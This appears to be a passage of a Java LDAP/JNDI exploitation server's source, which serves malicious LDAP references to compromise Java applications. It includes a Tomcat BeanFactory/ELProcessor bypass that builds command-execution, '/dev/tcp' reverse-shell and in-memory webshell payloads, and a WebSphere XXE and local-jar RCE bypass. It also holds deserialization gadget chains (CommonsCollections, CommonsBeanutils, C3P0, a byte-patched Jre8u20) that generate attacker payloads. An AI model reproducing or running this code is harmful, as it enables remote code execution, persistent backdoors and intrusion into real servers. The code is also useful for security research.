secondIndex = base.indexOf("/", firstIndex + 1); try{ gadgetType = GadgetType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); System.out.println("[+] GaddgetType: " + gadgetType); }catch(IllegalArgumentException e){ throw new UnSupportedGadgetTypeException("UnSupportGaddgetType: " + base.substring(firstIndex + 1, secondIndex)); } if(gadgetType == GadgetType.urldns){ String url = "http://" + base.substring(base.lastIndexOf("/") + 1); System.out.println("[+] URL: " + url); params = new String[]{url}; return; } int thirdIndex = base.indexOf("/", secondIndex + 1); if(thirdIndex < 0) thirdIndex = base.length(); try{ payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); System.out.println("[+] PayloadType: " + payloadType); }catch (IllegalArgumentException e){ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); } switch(payloadType){ case dnslog: String url = base.substring(base.lastIndexOf("/") + 1); System.out.println("[+] URL: " + url); params = new String[]{url}; break; case command: String cmd = Util.getCmdFromBase(base); System.out.println("[+] Command: " + cmd); params = new String[]{cmd}; break; case reverseshell: String[] results = Util.getIPAndPortFromBase(base); System.out.println("[+] IP: " + results[0]); System.out.println("[+] Port: " + results[1]); params = results; break; } }catch(Exception e){ if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; if(e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException)e; throw new IncorrectParamsException("Incorrect params: " + base); } } } ================================================ FILE: src/main/java/com/feihong/ldap/controllers/TomcatBypassController.java ================================================ package com.feihong.ldap.controllers; import com.feihong.ldap.enumtypes.PayloadType; import com.feihong.ldap.exceptions.IncorrectParamsException; import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; import com.feihong.ldap.utils.*; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr; import java.io.IOException; /* 注意:在 Javascript 引擎时,直接使用 sun.misc.Base64Decoder 和 org.apache.tomcat.util.buf.Base64 均会抛出异常 * Requires: * - Tomcat 8+ or SpringBoot 1.2.x+ in classpath */ @LdapMapping(uri = { "/tomcatbypass" }) public class TomcatBypassController implements LdapController { private PayloadType type; private String[] params; private String payloadTemplate = "{" + "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ".newInstance().getEngineByName(\"JavaScript\")" + ".eval(\"{replacement}\")" + "}"; @Override public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with javax.el.ELProcessor payload"); Entry e = new Entry(base); e.addAttribute("javaClassName", "java.lang.String"); //could be any //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval")); TomcatBypassHelper helper = new TomcatBypassHelper(); String code = null; switch (type){ case dnslog: code = helper.getDnsRequestCode(params[0]); break; case command: code = helper.getExecCode(params[0]); break; case reverseshell: code = helper.getReverseShellCode(params[0], params[1]); break; case tomcatmemshell: code = helper.injectTomcatMemsell(); break; case springmemshell: code = helper.injectSpringMemshell(); break; } String finalPayload = payloadTemplate.replace("{replacement}", code); System.out.println("[+] Return script:"); System.out.println("-----------------------------------------------"); System.out.println(finalPayload); System.out.println("-----------------------------------------------"); ref.add(new StringRefAddr("x", finalPayload)); e.addAttribute("javaSerializedData", Util.serialize(ref)); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } @Override public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { try{ int firstIndex = base.indexOf("/"); int secondIndex = base.indexOf("/", firstIndex + 1); if(secondIndex < 0) secondIndex = base.length(); try{ type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); //因为是 Tomcat Bypass,所以仅需要支持 Tomcat内存shell 和 Spring内存shell 即可 if(type == PayloadType.weblogicmemshell || type == PayloadType.webspherememshell || type == PayloadType.jettymemshell || type == PayloadType.jbossmemshell){ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type); } System.out.println("[+] Paylaod: " + type); }catch(IllegalArgumentException e){ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex)); } switch (type){ case dnslog: String url = base.substring(base.lastIndexOf("/") + 1); System.out.println("[+] URL: " + url); params = new String[]{url}; break; case command: String cmd = Util.getCmdFromBase(base); System.out.println("[+] Command: " + cmd); params = new String[]{cmd}; break; case reverseshell: String[] results = Util.getIPAndPortFromBase(base); System.out.println("[+] IP: " + results[0]); System.out.println("[+] Port: " + results[1]); params = results; break; } }catch(Exception e){ if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; throw new IncorrectParamsException("Incorrect params: " + base); } } private class TomcatBypassHelper{ /* 在对代码进行改写时需要注意: ① 所有的数据类型修改为 var, 包括 byte[] bytes ( var bytes ) ② 必须使用全类名 ③ System.out.println() 需要修改为 print() ④ try{...}catch(Exception e){...} 需要修改为 try{...}catch(err){...} ⑤ 双引号改为单引号 ⑥ Class.forName() 需要改为 java.lang.Class.forName(), String 需要改为 java.lang.String等 ⑦ 去除类型强转 ⑧ 不能用 sun.misc.Base64Encoder,会抛异常 javax.script.ScriptException: ReferenceError: "sun" is not defined in at line number 1 ⑨ 不能使用 for(Object obj : objects) 循环 */ public String getExecCode(String cmd) throws IOException { String code = "var strs=new Array(3);\n" + " if(java.io.File.separator.equals('/')){\n" + " strs[0]='/bin/bash';\n" + " strs[1]='-c';\n" + " strs[2]='" + cmd + "';\n" + " }else{\n" + " strs[0]='cmd';\n" + " strs[1]='/C';\n" + " strs[2]='" + cmd + "';\n" + " }\n" + " java.lang.Runtime.getRuntime().exec(strs);"; return code; } public String getDnsRequestCode(String dnslog){ String code = "var str;\n" + " if(java.io.File.separator.equals('/')){\n" + " str = 'ping -c 1 " + dnslog + "';\n" + " }else{\n" + " str = 'nslookup " + dnslog + "';\n" + " }\n" + "\n" + " java.lang.Runtime.getRuntime().exec(str);"; return code; } public String getReverseShellCode(String ip, String port){ int pt = Integer.parseInt(port); String code = "if(java.io.File.separator.equals('/')){\n" + " var cmds = new Array('/bin/bash', '-c', '/bin/bash -i >& /dev/tcp/" + ip + "/" + pt + "');\n" + " java.lang.Runtime.getRuntime().exec(cmds);\n" + " }"; return code; } public String injectTomcatMemsell(){ return injectMemshell("com.feihong.ldap.template.TomcatMemshellTemplate"); } public String injectSpringMemshell(){ return injectMemshell("com.feihong.ldap.template.SpringMemshellTemplate"); } public String injectMemshell(String className){ //使用类加载的方式最为方便,可维护性也大大增强 String classCode = null; try{ classCode = Util.getClassCode(className); }catch(Exception e){ e.printStackTrace(); } //没法直接调用 sun.misc.Base64Decoder,会报错,索性用反射的方法写了 String code = "var bytes;\n" + " str = '" + classCode + "';\n" + " try{\n" + " var clazz = java.lang.Class.forName('java.util.Base64');\n" + " var method = clazz.getDeclaredMethod('getDecoder');\n" + " var obj = method.invoke(null);\n" + " method = obj.getClass().getDeclaredMethod('decode', java.lang.String.class);\n" + " obj = method.invoke(obj, str);\n" + " bytes = obj;\n" + " }catch(err){\n" + " var clazz = java.lang.Class.forName('sun.misc.BASE64Decoder');\n" + " var method = clazz.getMethod('decodeBuffer', java.lang.String.class);\n" + " var obj = method.invoke(clazz.newInstance(), str);\n" + " bytes = obj;\n" + " }\n" + " \n" + " var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + " var method = null;\n" + " var clz = classLoader.getClass();\n" + " while(method == null && clz != java.lang.Object.class ){\n" + " try{\n" + " method = clz.getDeclaredMethod('defineClass', '123'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + " }catch(err){\n" + " clz = clz.getSuperclass();\n" + " }\n" + " }\n" + " method.setAccessible(true);\n" + " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + " clazz.newInstance();"; return code; } } } ================================================ FILE: src/main/java/com/feihong/ldap/controllers/WebsphereBypassController.java ================================================ package com.feihong.ldap.controllers; import com.feihong.ldap.enumtypes.PayloadType; import com.feihong.ldap.enumtypes.WebsphereActionType; import com.feihong.ldap.exceptions.IncorrectParamsException; import com.feihong.ldap.exceptions.UnSupportedActionTypeException; import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; import com.feihong.ldap.utils.*; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.naming.Reference; import javax.naming.StringRefAddr; import java.util.Properties; /* * Requires: * - websphere v6-9 libraries in the classpath */ @LdapMapping(uri = { "/webspherebypass" }) public class WebsphereBypassController implements LdapController { private WebsphereActionType actionType; private String localJarPath; private String injectUrl; @Override public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { System.out.println("[+] Sending LDAP ResourceRef result for " + base); Entry e = new Entry(base); e.addAttribute("javaClassName", "java.lang.String"); //could be any if(actionType == WebsphereActionType.rce){ //prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory Reference ref = new Reference("ExportObject", "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null); Properties refProps = new Properties(); refProps.put("com.ibm.ws.client.classpath", localJarPath); refProps.put("com.ibm.ws.client.classname", "xExportObject"); // ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps)); e.addAttribute("javaSerializedData", Util.serialize(ref)); }else{ //prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory javax.naming.Reference ref = new Reference("ExploitObject", "com.ibm.ws.webservices.engine.client.ServiceFactory", null); ref.add(new StringRefAddr("WSDL location", injectUrl)); ref.add(new StringRefAddr("service namespace","xxx")); ref.add(new StringRefAddr("service local part","yyy")); e.addAttribute("javaSerializedData", Util.serialize(ref)); } result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } @Override public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException { try{ int firstIndex = base.indexOf("/"); int secondIndex = base.indexOf("/", firstIndex + 1); if(secondIndex < 0) secondIndex = base.length(); try{ actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); System.out.println("[+] ActionType: " + actionType); }catch(IllegalArgumentException e){ throw new UnSupportedActionTypeException("UnSupportedActionType: " + base.substring(firstIndex + 1, secondIndex)); } switch(actionType){ case list: String file = base.substring(base.lastIndexOf("=") + 1); System.out.println("[+] Read File/List Directory: " + file); injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file; break; case rce: String localJarFile = base.substring(base.lastIndexOf("=") + 1); System.out.println("[+] Local jar path: " + localJarFile); localJarPath = localJarFile; break; case upload: int thirdIndex = base.indexOf("/", secondIndex + 1); if(thirdIndex < 0) thirdIndex = base.length(); PayloadType payloadType = null; try{ payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); // webspherebypass 只支持这 4 种类型的 PayloadType if(payloadType != PayloadType.command && payloadType != PayloadType.dnslog && payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell){ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType); } }catch(IllegalArgumentException e){ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); } System.out.println("[+] PayloadType: " + payloadType); switch (payloadType){ case command: String cmd = Util.getCmdFromBase(base); System.out.println("[+] Command: " + cmd); injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd; break; case dnslog: String url = base.substring(base.lastIndexOf("/") + 1); System.out.println("[+] URL: " + url); injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url; break; case reverseshell: String[] results = Util.getIPAndPortFromBase(base); System.out.println("[+] IP: " + results[0]); System.out.println("[+] Port: " + results[1]); injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1]; break; case webspherememshell: injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell"; break; } break; } }catch(Exception e){ if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; if(e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException)e; throw new IncorrectParamsException("Incorrect params: " + base); } } } ================================================ FILE: src/main/java/com/feihong/ldap/enumtypes/GadgetType.java ================================================ package com.feihong.ldap.enumtypes; public enum GadgetType { urldns, commonsbeanutils1, commonscollections1, commonscollections2, jre8u20, c3p0; } ================================================ FILE: src/main/java/com/feihong/ldap/enumtypes/MemShellType.java ================================================ package com.feihong.ldap.enumtypes; public final class MemShellType { private MemShellType(){}; public static final String TOMCAT = "com.feihong.ldap.template.TomcatMemshellTemplate"; public static final String JETTY = "com.feihong.ldap.template.JettyMemshellTemplate"; public static final String WEBLOGIC = "com.feihong.ldap.template.WeblogicMemshellTemplate"; public static final String JBOSS = "com.feihong.ldap.template.JBossMemshellTemplate"; public static final String WEBSPHERE = "com.feihong.ldap.template.WebsphereMemshellTemplate"; public static final String SPRING = "com.feihong.ldap.template.SpringMemshellTemplate"; } ================================================ FILE: src/main/java/com/feihong/ldap/enumtypes/PayloadType.java ================================================ package com.feihong.ldap.enumtypes; public enum PayloadType { command, dnslog, reverseshell, tomcatmemshell, weblogicmemshell, jettymemshell, jbossmemshell, webspherememshell, springmemshell; } ================================================ FILE: src/main/java/com/feihong/ldap/enumtypes/WebsphereActionType.java ================================================ package com.feihong.ldap.enumtypes; public enum WebsphereActionType { list, upload, rce; } ================================================ FILE: src/main/java/com/feihong/ldap/exceptions/IncorrectParamsException.java ================================================ package com.feihong.ldap.exceptions; public class IncorrectParamsException extends RuntimeException { public IncorrectParamsException(){ super(); } public IncorrectParamsException(String message){ super(message); } } ================================================ FILE: src/main/java/com/feihong/ldap/exceptions/UnSupportedActionTypeException.java ================================================ package com.feihong.ldap.exceptions; public class UnSupportedActionTypeException extends RuntimeException{ public UnSupportedActionTypeException(){ super(); } public UnSupportedActionTypeException(String message){ super(message); } } ================================================ FILE: src/main/java/com/feihong/ldap/exceptions/UnSupportedGadgetTypeException.java ================================================ package com.feihong.ldap.exceptions; public class UnSupportedGadgetTypeException extends RuntimeException { public UnSupportedGadgetTypeException(){ super();} public UnSupportedGadgetTypeException(String message){ super(message); } } ================================================ FILE: src/main/java/com/feihong/ldap/exceptions/UnSupportedPayloadTypeException.java ================================================ package com.feihong.ldap.exceptions; public class UnSupportedPayloadTypeException extends RuntimeException { public UnSupportedPayloadTypeException(){ super(); } public UnSupportedPayloadTypeException(String message){ super(message); } } ================================================ FILE: src/main/java/com/feihong/ldap/gadgets/C3P0.java ================================================ package com.feihong.ldap.gadgets; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.io.PrintWriter; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import com.feihong.ldap.template.CommandTemplate; import com.feihong.ldap.template.DnslogTemplate; import com.feihong.ldap.template.ReverseShellTemplate; import com.feihong.ldap.utils.Config; import com.feihong.ldap.enumtypes.MemShellType; import com.feihong.ldap.enumtypes.PayloadType; import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; public class C3P0 { public static byte[] getBytes(PayloadType type, String... param) throws Exception { String className; switch (type){ case command: CommandTemplate commandTemplate = new CommandTemplate(param[0]); commandTemplate.cache(); className = commandTemplate.getClassName(); break; case dnslog: DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]); dnslogTemplate.cache(); className = dnslogTemplate.getClassName(); break; case reverseshell: ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]); reverseShellTemplate.cache(); className = reverseShellTemplate.getClassName(); break; case tomcatmemshell: className = MemShellType.TOMCAT; break; case jettymemshell: className = MemShellType.JETTY; break; case jbossmemshell: className = MemShellType.JBOSS; break; case weblogicmemshell: className = MemShellType.WEBLOGIC; break; case webspherememshell: className = MemShellType.WEBSPHERE; break; case springmemshell: className = MemShellType.SPRING; break; default: throw new IllegalStateException("Unexpected value: " + type); } PoolBackedDataSource b = PoolBackedDataSource.class.newInstance(); Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); field.setAccessible(true); field.set(b, new PoolSource(className,"http://" + Config.ip + ":" + Config.httpPort + "/")); //序列化 ByteArrayOutputStream baous = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baous); oos.writeObject(b); byte[] bytes = baous.toByteArray(); oos.close(); return bytes; } private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { private String className; private String url; public PoolSource ( String className, String url ) { this.className = className; this.url = url; } public Reference getReference () throws NamingException { return new Reference("exploit", this.className, this.url); } public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} } } ================================================ FILE: src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils1.java ================================================ package com.feihong.ldap.gadgets; import com.feihong.ldap.enumtypes.PayloadType; import com.feihong.ldap.gadgets.utils.Gadgets; import com.feihong.ldap.gadgets.utils.Reflections; import org.apache.commons.beanutils.BeanComparator; import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.math.BigInteger; import java.util.PriorityQueue; public class CommonsBeanutils1 { public static void main(String[] args) throws Exception { byte[] bytes = getBytes(PayloadType.command, "calc"); FileOutputStream fous = new FileOutputStream("333.ser"); fous.write(bytes); fous.close(); } public static byte[] getBytes(PayloadType type, String... param) throws Exception { final Object templates = Gadgets.createTemplatesImpl(type, param); // mock method name until armed final BeanComparator comparator = new BeanComparator("lowestSetBit"); // create queue with numbers and basic comparator final PriorityQueue queue = new PriorityQueue(2, comparator); // stub data for replacement later queue.add(new BigInteger("1")); queue.add(new BigInteger("1")); // switch method called by comparator Reflections.setFieldValue(comparator, "property", "outputProperties"); // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = templates; //序列化 ByteArrayOutputStream baous = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baous); oos.writeObject(queue); byte[] bytes = baous.toByteArray(); oos.close(); return bytes; } } ================================================ FILE: src/main/java/com/feihong/ldap/gadgets/CommonsCollections1.java ================================================ package com.feihong.ldap.gadgets; import com.feihong.ldap.enumtypes.PayloadType; import com.feihong.ldap.gadgets.utils.Gadgets; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class CommonsCollections1 { public static void main(String[] args) throws Exception { byte[] bytes = getBytes(PayloadType.command, "calc"); FileOutputStream fous = new FileOutputStream("out2222.ser"); fous.write(bytes); fous.close(); } public static byte[] getBytes(PayloadType type, String... param) throws Exception { Object templates = Gadgets.createTemplatesImpl(type, param); HashMap InnerMap = new HashMap(); Transformer[] trans = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates} ) }; ChainedTransformer chined = new ChainedTransformer(trans); Map outmap = LazyMap.decorate(InnerMap,chined); TiedMapEntry entry = new TiedMapEntry(outmap, "whatever"); //构造外部入口链 HashSet newSet = new HashSet(1); newSet.add("placeHolder"); Field innerSetMap = HashSet.class.getDeclaredField("map"); innerSetMap.setAccessible(true); //修改hashset内部的hashmap存储 HashMap setMap = (HashMap)innerSetMap.get(newSet); Field table = HashMap.class.getDeclaredField("table"); table.setAccessible(true); //拿到存储的数据 Object[] obj =(Object[])table.get(setMap); Object node = obj[0]; Field key = node.getClass().getDeclaredField("key"); key.setAccessible(true); key.set(node,entry); //序列化 ByteArrayOutputStream baous = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baous); oos.writeObject(newSet); byte[] bytes = baous.toByteArray(); oos.close(); return bytes; } } ================================================ FILE: src/main/java/com/feihong/ldap/gadgets/CommonsCollections2.java ================================================ package com.feihong.ldap.gadgets; import com.feihong.ldap.enumtypes.PayloadType; import com.feihong.ldap.gadgets.utils.Gadgets; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.keyvalue.TiedMapEntry; import org.apache.commons.collections4.map.LazyMap; import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class CommonsCollections2 { public static void main(String[] args) throws Exception { byte[] bytes = getBytes(PayloadType.command, "calc"); FileOutputStream fous = new FileOutputStream("4444.ser"); fous.write(bytes); fous.close(); } public static byte[] getBytes(PayloadType type, String... param) throws Exception { Object templates = Gadgets.createTemplatesImpl(type, param); HashMap InnerMap = new HashMap(); Transformer[] trans = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates} ) }; ChainedTransformer chined = new ChainedTransformer(trans); Map outmap = LazyMap.lazyMap(InnerMap,chined); TiedMapEntry entry = new TiedMapEntry(outmap, "whatever"); //构造外部入口链 HashSet newSet = new HashSet(1); newSet.add("placeHolder"); Field innerSetMap = HashSet.class.getDeclaredField("map"); innerSetMap.setAccessible(true); //修改hashset内部的hashmap存储 HashMap setMap = (HashMap)innerSetMap.get(newSet); Field table = HashMap.class.getDeclaredField("table"); table.setAccessible(true); //拿到存储的数据 Object[] obj =(Object[])table.get(setMap); Object node = obj[0]; Field key = node.getClass().getDeclaredField("key"); key.setAccessible(true); key.set(node,entry); //序列化 ByteArrayOutputStream baous = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baous); oos.writeObject(newSet); byte[] bytes = baous.toByteArray(); oos.close(); return bytes; } } ================================================ FILE: src/main/java/com/feihong/ldap/gadgets/Jre8u20.java ================================================ package com.feihong.ldap.gadgets; import com.feihong.ldap.enumtypes.PayloadType; import com.feihong.ldap.gadgets.utils.Gadgets; import com.feihong.ldap.gadgets.utils.Reflections; import com.feihong.ldap.gadgets.utils.Util; import javax.xml.transform.Templates; import java.beans.beancontext.BeanContextSupport; import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.LinkedHashSet; public class Jre8u20 { public static void main(String[] args) throws Exception { byte[] bytes = getBytes(PayloadType.command, "calc"); FileOutputStream fous = new FileOutputStream("888.ser"); fous.write(bytes); fous.close(); } public static byte[] getBytes(PayloadType type, String... param) throws Exception { final Object templates = Gadgets.createTemplatesImpl(type, param); String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); InvocationHandler handler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(handler, "type", Templates.class); Templates proxy = Gadgets.createProxy(handler, Templates.class); Reflections.setFieldValue(templates, "_auxClasses", null); Reflections.setFieldValue(templates, "_class", null); map.put(zeroHashCodeStr, templates); // swap in real object LinkedHashSet set = new LinkedHashSet(); BeanContextSupport bcs = new BeanContextSupport(); Class cc = Class.forName("java.beans.beancontext.BeanContextSupport"); Field serializable = cc.getDeclaredField("serializable"); serializable.setAccessible(true); serializable.set(bcs, 0); Field beanContextChildPeer = cc.getSuperclass().getDeclaredField("beanContextChildPeer"); beanContextChildPeer.set(bcs, bcs); set.add(bcs); //序列化 ByteArrayOutputStream baous = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baous); oos.writeObject(set); oos.writeObject(handler); oos.writeObject(templates); oos.writeObject(proxy); oos.close(); byte[] bytes = baous.toByteArray(); bytes[89] = 3; //修改hashset的长度(元素个数) //调整 TC_ENDBLOCKDATA 标记的位置 //0x73 = 115, 0x78 = 120 //0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA for(int i = 0; i < bytes.length; i++){ if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 & bytes[i+3] == 0 && bytes[i+4] == 120 && bytes[i+5] == 120 && bytes[i+6] == 115){ bytes = Util.deleteAt(bytes, i + 5); break; } } //将 serializable 的值修改为 1 //0x73 = 115, 0x78 = 120 //0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA for(int i = 0; i < bytes.length; i++){ if(bytes[i] == 120 && bytes[i+1] == 0 && bytes[i+2] == 1 && bytes[i+3] == 0 && bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 115){ bytes[i+6] = 1; break; } } /** TC_BLOCKDATA - 0x77 Length - 4 - 0x04 Contents - 0x00000000 TC_ENDBLOCKDATA - 0x78 **/ //把这部分内容先删除,再附加到 AnnotationInvocationHandler 之后 //目的是让 AnnotationInvocationHandler 变成 BeanContextSupport 的数据流 //0x77 = 119, 0x78 = 120 //0x77 for TC_BLOCKDATA, 0x78 for TC_ENDBLOCKDATA for(int i = 0; i < bytes.length; i++){ if(bytes[i] == 119 && bytes[i+1] == 4 && bytes[i+2] == 0 && bytes[i+3] == 0 && bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 120){ bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); break; } } /* serialVersionUID - 0x00 00 00 00 00 00 00 00 newHandle 0x00 7e 00 28 classDescFlags - 0x00 - fieldCount - 0 - 0x00 00 classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 29 */ //0x78 = 120, 0x70 = 112 //0x78 for TC_ENDBLOCKDATA, 0x70 for TC_NULL for(int i = 0; i < bytes.length; i++){ if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 && bytes[i+3] == 0 && bytes[i + 4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 0 && bytes[i+8] == 0 && bytes[i+9] == 0 && bytes[i+10] == 0 && bytes[i+11] == 120 && bytes[i+12] == 112){ i = i + 13; bytes = Util.addAtIndex(bytes, i++, (byte) 0x77); bytes = Util.addAtIndex(bytes, i++, (byte) 0x04); bytes = Util.addAtIndex(bytes, i++, (byte) 0x00); bytes = Util.addAtIndex(bytes, i++, (byte) 0x00); bytes = Util.addAtIndex(bytes, i++, (byte) 0x00); bytes = Util.addAtIndex(bytes, i++, (byte) 0x00); bytes = Util.addAtIndex(bytes, i++, (byte) 0x78); break; } } //将 sun.reflect.annotation.AnnotationInvocationHandler 的 classDescFlags 由 SC_SERIALIZABLE 修改为 SC_SERIALIZABLE | SC_WRITE_METHOD //这一步其实不是通过理论推算出来的,是通过debug 以及查看 pwntester的 poc 发现需要这么改 //原因是如果不设置 SC_WRITE_METHOD 标志的话 defaultDataEnd = true,导致 BeanContextSupport -> deserialize(ois, bcmListeners = new ArrayList(1)) // -> count = ois.readInt(); 报错,无法完成整个反序列化流程 // 没有 SC_WRITE_METHOD 标记,认为这个反序列流到此就结束了 // 标记: 7375 6e2e 7265 666c 6563 --> sun.reflect... for(int i = 0; i < bytes.length; i++){ if(bytes[i] == 115 && bytes[i+1] == 117 && bytes[i+2] == 110 && bytes[i+3] == 46 && bytes[i + 4] == 114 && bytes[i+5] == 101 && bytes[i+6] == 102 && bytes[i+7] == 108 ){ i = i + 58; bytes[i] = 3; break; } } //加回之前删除的 TC_BLOCKDATA,表明 HashSet 到此结束 bytes = Util.addAtLast(bytes, (byte) 0x78); return bytes; } } ================================================ FILE: src/main/java/com/feihong/ldap/gadgets/URLDNS.java ================================================ package com.feihong.ldap.gadgets; import com.feihong.ldap.gadgets.utils.Reflections; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.net.InetAddress; import java.net.URL; import java.net.URLConnection; import java.net.URLStreamHandler; import java.util.HashMap; public class URLDNS { public static byte[] getBytes(final String url) throws Exception { //Avoid DNS resolution during payload creation //Since the field 